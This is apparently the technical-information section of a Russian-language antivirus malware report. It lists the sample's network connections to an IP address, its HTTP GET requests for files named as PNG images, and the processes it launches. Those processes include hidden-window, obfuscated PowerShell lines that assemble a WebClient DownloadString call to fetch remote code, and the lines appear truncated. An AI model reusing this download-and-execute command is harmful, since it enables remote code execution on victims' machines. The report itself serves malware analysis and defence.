Техническая информация
Сетевая активность
Подключается к
- '92.##5.57.155':80
TCP
Запросы HTTP GET
- http://92.##5.57.155/1/1.png
- http://92.##5.57.155/1/2.png
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $c1='##(N##ew-O###bje###ct N###et.W###e'; $c4='b##Cl####ie##nt##).###D###ow#nl##o##'; $c3='a##dSt####ri#####n###g(''http://92.##5.57.155/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('... (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $c1='##(N##ew-O###bje###ct N###et.W###e'; $c4='b##Cl####ie##nt##).###D###ow#nl##o##'; $c3='a##dSt####ri#####n###g(''http://92.##5.57.155/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('... (со скрытым окном)
- '%WINDIR%\syswow64\ipconfig.exe' /flushdns
